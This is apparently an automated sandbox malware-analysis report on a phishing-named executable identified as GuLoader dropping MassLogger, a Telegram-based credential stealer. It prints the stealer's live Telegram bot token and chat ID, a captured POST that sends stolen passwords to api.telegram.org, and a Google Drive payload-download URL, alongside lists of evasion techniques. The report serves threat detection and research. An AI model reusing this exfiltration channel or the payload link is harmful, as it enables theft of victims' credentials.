Edit tour

Windows Analysis Report
Request for Quotation New collaboration.exe

Overview

General Information

Sample name:	Request for Quotation New collaboration.exe
Analysis ID:	1571272
MD5:	1e4847dd3c262a4303261601f0197a42
SHA1:	eaa9a7dbdf8211dbe248b739480e349c0fb56583
SHA256:	cb076958b9db298f34a9eeaafc4796f6d902b19b1696b76179db10612d371608
Tags:	exeGuLoaderuser-adrian__luca
Infos:

Detection

GuLoader, MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Disable Task Manager(disabletaskmgr)

Disables CMD prompt

Disables the Windows task manager (taskmgr)

Initial sample is a PE file and has a suspicious name

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Request for Quotation New collaboration.exe (PID: 2984 cmdline: "C:\Users\user\Desktop\Request for Quotation New collaboration.exe" MD5: 1E4847DD3C262A4303261601F0197A42)

Request for Quotation New collaboration.exe (PID: 2556 cmdline: "C:\Users\user\Desktop\Request for Quotation New collaboration.exe" MD5: 1E4847DD3C262A4303261601F0197A42)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI", "Telegram Chatid": "6897585916"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2835640876.0000000035323000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000005.00000002.2835640876.0000000035323000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2835640876.0000000035323000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2032277835.0000000003E08000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: Request for Quotation New collaboration.exe PID: 2556	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: Request for Quotation New collaboration.exe PID: 2556	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Request for Quotation New collaboration.exe PID: 2556	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 2 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T08:32:53.286833+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49732	149.154.167.220	443	TCP
2024-12-09T08:32:56.876763+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49739	149.154.167.220	443	TCP
2024-12-09T08:33:00.521871+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49750	149.154.167.220	443	TCP
2024-12-09T08:33:04.094949+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49758	149.154.167.220	443	TCP
2024-12-09T08:33:07.653342+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49770	149.154.167.220	443	TCP
2024-12-09T08:33:11.270293+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49780	149.154.167.220	443	TCP
2024-12-09T08:33:14.832911+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49789	149.154.167.220	443	TCP
2024-12-09T08:33:18.273066+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49800	149.154.167.220	443	TCP
2024-12-09T08:33:21.725921+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49810	149.154.167.220	443	TCP
2024-12-09T08:33:25.145721+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49820	149.154.167.220	443	TCP
2024-12-09T08:33:28.575097+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49831	149.154.167.220	443	TCP
2024-12-09T08:33:32.007339+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49840	149.154.167.220	443	TCP
2024-12-09T08:33:35.485405+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49850	149.154.167.220	443	TCP
2024-12-09T08:33:38.920720+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49860	149.154.167.220	443	TCP
2024-12-09T08:33:42.432226+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49870	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T08:32:43.321758+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49714	132.226.247.73	80	TCP
2024-12-09T08:32:51.134363+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49714	132.226.247.73	80	TCP
2024-12-09T08:32:54.931232+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49737	132.226.247.73	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T08:32:34.475462+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49711	172.217.19.174	443	TCP

HTTP traffic detected: POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd17f9c670142fHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035547000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035323000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.000000003542D000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.00000000353D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035547000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035240000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.000000003542D000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.00000000353D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035547000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035323000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.000000003521F000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035240000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.000000003542D000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.00000000353D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.00000000351C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Request for Quotation New collaboration.exe, 00000005.00000002.2814067949.0000000004CE2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/e
Source: Request for Quotation New collaboration.exe, 00000005.00000002.2814067949.0000000004CE2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: Request for Quotation New collaboration.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035258000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.00000000351C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035547000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035323000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.000000003542D000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.00000000353D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035323000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.00000000353D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897
Source: Request for Quotation New collaboration.exe, 00000005.00000003.2120761276.0000000004C97000.00000004.00000020.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000003.2120825216.0000000004C97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: Request for Quotation New collaboration.exe, 00000005.00000002.2814067949.0000000004C18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: Request for Quotation New collaboration.exe, 00000005.00000002.2814067949.0000000004C18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/0
Source: Request for Quotation New collaboration.exe, 00000005.00000002.2814067949.0000000004C57000.00000004.00000020.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2814520651.00000000066D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1OlIwWq_GKcHvk57DLTBJYgDUIGtf5du_
Source: Request for Quotation New collaboration.exe, 00000005.00000003.2175621222.0000000004C97000.00000004.00000020.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2814067949.0000000004C83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Request for Quotation New collaboration.exe, 00000005.00000003.2175621222.0000000004C97000.00000004.00000020.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000003.2120761276.0000000004C97000.00000004.00000020.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2814067949.0000000004C18000.00000004.00000020.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000003.2120825216.0000000004C97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1OlIwWq_GKcHvk57DLTBJYgDUIGtf5du_&export=download
Source: Request for Quotation New collaboration.exe, 00000005.00000002.2814067949.0000000004C18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1OlIwWq_GKcHvk57DLTBJYgDUIGtf5du_&export=downloadaS
Source: Request for Quotation New collaboration.exe, 00000005.00000003.2175621222.0000000004C97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1OlIwWq_GKcHvk57DLTBJYgDUIGtf5du_&export=downloadgo
Source: Request for Quotation New collaboration.exe, 00000005.00000003.2175621222.0000000004C97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1OlIwWq_GKcHvk57DLTBJYgDUIGtf5du_&export=downloadl
Source: Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.228
Source: Request for Quotation New collaboration.exe, 00000005.00000003.2120761276.0000000004C97000.00000004.00000020.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000003.2120825216.0000000004C97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: Request for Quotation New collaboration.exe, 00000005.00000003.2120761276.0000000004C97000.00000004.00000020.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000003.2120825216.0000000004C97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: Request for Quotation New collaboration.exe, 00000005.00000003.2120761276.0000000004C97000.00000004.00000020.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000003.2120825216.0000000004C97000.00000004.00000020.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000003.2120761276.0000000004C88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: Request for Quotation New collaboration.exe, 00000005.00000003.2120761276.0000000004C97000.00000004.00000020.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000003.2120825216.0000000004C97000.00000004.00000020.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000003.2120761276.0000000004C88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: Request for Quotation New collaboration.exe, 00000005.00000003.2120761276.0000000004C97000.00000004.00000020.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000003.2120825216.0000000004C97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: Request for Quotation New collaboration.exe, 00000005.00000003.2120761276.0000000004C97000.00000004.00000020.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000003.2120825216.0000000004C97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: Request for Quotation New collaboration.exe, 00000005.00000003.2120761276.0000000004C97000.00000004.00000020.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000003.2120825216.0000000004C97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: Request for Quotation New collaboration.exe, 00000005.00000003.2120761276.0000000004C97000.00000004.00000020.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000003.2120825216.0000000004C97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800

Source: unknown	HTTPS traffic detected: 172.217.19.174:443 -> 192.168.2.9:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.9:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.9:49732 version: TLS 1.2

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Code function: 0_2_004052D3 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004052D3

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Request for Quotation New collaboration.exe

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 0_2_0040335A EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		0_2_0040335A
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_0040335A EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		5_2_0040335A

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

File created: C:\Windows\resources\0809

Jump to behavior

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 0_2_00404B10	0_2_00404B10
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 0_2_0040653F	0_2_0040653F
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_00404B10	5_2_00404B10
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_0040653F	5_2_0040653F
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_00154328	5_2_00154328
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_0015E6A8	5_2_0015E6A8
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_00158DA0	5_2_00158DA0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_00155968	5_2_00155968
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_00155F90	5_2_00155F90
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_0015E698	5_2_0015E698
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_00152DD1	5_2_00152DD1
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351A5B28	5_2_351A5B28
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AA928	5_2_351AA928
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AAF80	5_2_351AAF80
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351A1608	5_2_351A1608
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AA919	5_2_351AA919
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351A5908	5_2_351A5908
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AEB3B	5_2_351AEB3B
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AD330	5_2_351AD330
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AD321	5_2_351AD321
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AEB48	5_2_351AEB48
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351ABD78	5_2_351ABD78
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AD778	5_2_351AD778
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351A9370	5_2_351A9370
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351ABD68	5_2_351ABD68
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351A9361	5_2_351A9361
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AEF90	5_2_351AEF90
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AD788	5_2_351AD788
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351A5180	5_2_351A5180
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351A97B9	5_2_351A97B9
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AEFA0	5_2_351AEFA0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AC1D0	5_2_351AC1D0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351A97C8	5_2_351A97C8
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AC1C0	5_2_351AC1C0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351A15FB	5_2_351A15FB
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AF3F8	5_2_351AF3F8
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AF3EB	5_2_351AF3EB
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AC618	5_2_351AC618
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351A8A13	5_2_351A8A13
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351A9C11	5_2_351A9C11
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AE60B	5_2_351AE60B
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AC628	5_2_351AC628
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351A9C20	5_2_351A9C20
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AF850	5_2_351AF850
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AF843	5_2_351AF843
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AA078	5_2_351AA078
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351ACA70	5_2_351ACA70
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AA068	5_2_351AA068
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351ACA80	5_2_351ACA80
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351ACED8	5_2_351ACED8
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AA4D0	5_2_351AA4D0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351ACEC8	5_2_351ACEC8
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AA4C0	5_2_351AA4C0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351A60FE	5_2_351A60FE
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AE6F0	5_2_351AE6F0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE77F0	5_2_37EE77F0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE9568	5_2_37EE9568
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE8490	5_2_37EE8490
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE42A0	5_2_37EE42A0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE71A8	5_2_37EE71A8
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE6130	5_2_37EE6130
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE7E40	5_2_37EE7E40
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE98D0	5_2_37EE98D0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE77E0	5_2_37EE77E0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE46EE	5_2_37EE46EE
